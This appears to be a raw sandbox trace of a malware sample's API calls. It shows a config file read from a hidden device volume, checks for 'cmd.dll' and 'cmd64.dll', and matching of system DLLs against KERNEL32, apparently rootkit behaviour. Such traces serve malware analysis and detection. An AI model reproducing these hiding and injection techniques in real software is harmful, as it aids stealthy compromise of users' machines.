0xfffffa8003b863b0 [0130.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.816] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.816] IdePortDispatch () returned 0x103 [0130.816] KeWaitForMutexObject () returned 0x0 [0130.816] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.816] KeLeaveCriticalRegion () [0130.816] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.816] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.816] KeEnterCriticalRegion () [0130.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.816] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c1000 [0130.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.816] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.816] IdePortDispatch () returned 0x103 [0130.816] KeWaitForMutexObject () returned 0x0 [0130.817] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.817] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.817] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.817] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.817] IdePortDispatch () returned 0x103 [0130.817] KeWaitForMutexObject () returned 0x0 [0130.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.817] KeLeaveCriticalRegion () [0130.817] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.818] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.818] KeEnterCriticalRegion () [0130.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.818] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.818] KeLeaveCriticalRegion () [0130.818] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.818] KeEnterCriticalRegion () [0130.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.818] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.818] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294fd60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.818] KeLeaveCriticalRegion () [0130.818] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.818] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.818] KeEnterCriticalRegion () [0130.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.818] ExFreePoolWithTag (P=0xfffffa800294ec10, Tag=0x0) [0130.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.818] KeLeaveCriticalRegion () [0130.818] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.818] ReleaseMutex (hMutex=0xf0) returned 1 [0130.818] Sleep (dwMilliseconds=0x124f80) [0130.838] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.838] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") [0130.838] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.838] KeEnterCriticalRegion () [0130.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.838] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.838] IdePortDispatch () returned 0x103 [0130.838] KeWaitForMutexObject () returned 0x0 [0130.838] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.838] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.838] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.838] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.838] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.839] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294fea0 [0130.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.839] KeLeaveCriticalRegion () [0130.839] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.839] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.839] KeEnterCriticalRegion () [0130.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.839] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.839] KeLeaveCriticalRegion () [0130.839] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.839] KeEnterCriticalRegion () [0130.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.839] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.839] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.839] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.839] IdePortDispatch () returned 0x103 [0130.839] KeWaitForMutexObject () returned 0x0 [0130.839] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.839] KeLeaveCriticalRegion () [0130.839] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.839] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.840] KeEnterCriticalRegion () [0130.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.840] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c6000 [0130.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.840] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.840] IdePortDispatch () returned 0x103 [0130.840] KeWaitForMutexObject () returned 0x0 [0130.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.840] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.840] IdePortDispatch () returned 0x103 [0130.840] KeWaitForMutexObject () Thread: id = 200 os_tid = 0x3b0 [0086.670] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003482000 [0086.670] IdePortDispatch () returned 0x103 [0086.670] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b8000 [0086.670] IdePortDispatch () returned 0x103 [0086.686] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b05000 [0086.687] IdePortDispatch () returned 0x103 [0086.687] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b25000 [0086.687] IdePortDispatch () returned 0x103 [0086.687] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b45000 [0086.689] IdePortDispatch () returned 0x103 [0086.759] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b28000 [0086.760] IdePortDispatch () returned 0x103 [0086.760] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b48000 [0086.760] IdePortDispatch () returned 0x103 [0086.760] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b67000 [0086.761] IdePortDispatch () returned 0x103 [0086.761] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b87000 [0086.761] IdePortDispatch () returned 0x103 [0086.761] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba7000 [0086.762] IdePortDispatch () returned 0x103 [0086.762] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc7000 [0086.762] IdePortDispatch () returned 0x103 [0086.762] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c00000 [0086.763] IdePortDispatch () returned 0x103 [0086.763] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c20000 [0086.763] IdePortDispatch () returned 0x103 [0086.764] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c40000 [0086.764] IdePortDispatch () returned 0x103 [0086.764] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c60000 [0086.765] IdePortDispatch () returned 0x103 [0086.765] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c80000 [0086.765] IdePortDispatch () returned 0x103 [0086.765] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca0000 [0086.766] IdePortDispatch () returned 0x103 [0086.766] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc0000 [0086.766] IdePortDispatch () returned 0x103 [0086.766] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce0000 [0086.767] IdePortDispatch () returned 0x103 [0086.767] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d00000 [0086.767] IdePortDispatch () returned 0x103 [0090.604] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\actxprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.422] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0092.422] IdePortDispatch () returned 0x0 [0092.422] IdePortDispatch () returned 0x103 [0092.422] IdePortDispatchDeviceControl () returned 0x0 [0092.423] PortWdmAlwaysStatusSuccessIrp () returned 0x0 Thread: id = 201 os_tid = 0x3b4 Thread: id = 213 os_tid = 0x3e8 [0085.194] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winsta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.942] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\uxtheme.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.849] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\es.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.906] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sxs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0108.506] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rasadhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 214 os_tid = 0x3ec [0084.912] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gpsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.919] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gpapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.919] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\secur32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.920] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.920] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.920] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sysntfy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.923] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nlaapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.969] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.228] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dsrole.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.253] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\slc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 218 os_tid = 0xc0 [0084.972] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.978] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\userenv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.979] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.981] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\atl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.199] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.201] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0085.207] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 220 os_tid = 0x110 [0085.175] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\themeservice.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 224 os_tid = 0x118 Thread: id = 226 os_tid = 0x14c [0089.528] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\samlib.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 239 os_tid = 0x130 [0086.591] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Sens.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.754] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 240 os_tid = 0x134 Thread: id = 241 os_tid = 0x1e8 [0087.845] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wtsapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.179] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\vssapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.180] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\vsstrace.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.186] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\samcli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.371] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\wbemcore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.381] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\esscli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.386] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\fastprox.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.387] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ntdsapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.465] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\wbemsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 249 os_tid = 0x37c [0089.581] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d92000 [0089.581] IdePortDispatch () returned 0x103 Thread: id = 250 os_tid = 0x3b8 Thread: id = 290 os_tid = 0x494 [0090.427] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shsvcs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.488] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.493] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.494] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.503] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wintrust.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.506] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0090.508] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0090.523] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\fveapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.530] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\tbs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.533] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\fvecerts.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.537] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.537] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netutils.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.537] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\srvcli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.538] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wkscli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.538] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\logoncli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.210] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wiarpc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 293 os_tid = 0x4a0 [0091.696] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\schedsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.702] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pcwum.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.702] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shell32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.703] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wevtapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.703] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\authz.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.704] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ubpm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.706] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ktmw32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.709] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\xmllite.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.513] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.204] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\taskcomp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.241] IdePortDispatch () returned 0x103 [0093.244] IdePortDispatch () returned 0x103 [0093.244] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff8800308b150, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfb000 [0093.244] IdePortDispatch () returned 0x103 [0093.245] IdePortDispatch () returned 0x103 [0093.245] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff8800308b150, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfc000 [0093.245] IdePortDispatch () returned 0x103 [0093.245] IdePortDispatch () returned 0x103 [0093.246] 